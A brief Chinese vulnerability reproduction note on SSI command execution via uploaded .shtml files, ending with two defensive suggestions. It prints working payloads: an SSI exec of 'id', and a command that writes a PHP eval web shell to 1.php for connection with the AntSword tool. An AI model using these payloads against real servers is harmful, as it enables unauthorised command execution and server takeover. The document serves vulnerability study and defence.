漏洞描述
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
漏洞范围
2.4.0~2.4.29
漏洞复现
1.访问地址
2.上传文件
上传.php文件,提示不支持上传
上传.shtml文件,上传成功
<!--#exec cmd="id" -->
3.点击生成的链接,可以看到成功执行代码,说明存在远程命令执行漏洞
上传一句话木马文件
<!--#exec cmd="echo '<?php eval($_POST[a]);?>'>>1.php" -->
上传成功后,访问1.php,在蚁剑连接即可
漏洞防御
1.可以关闭SSI这个功能。现在很少用
2.过滤特殊字符串(`<,>,#,-,",'`)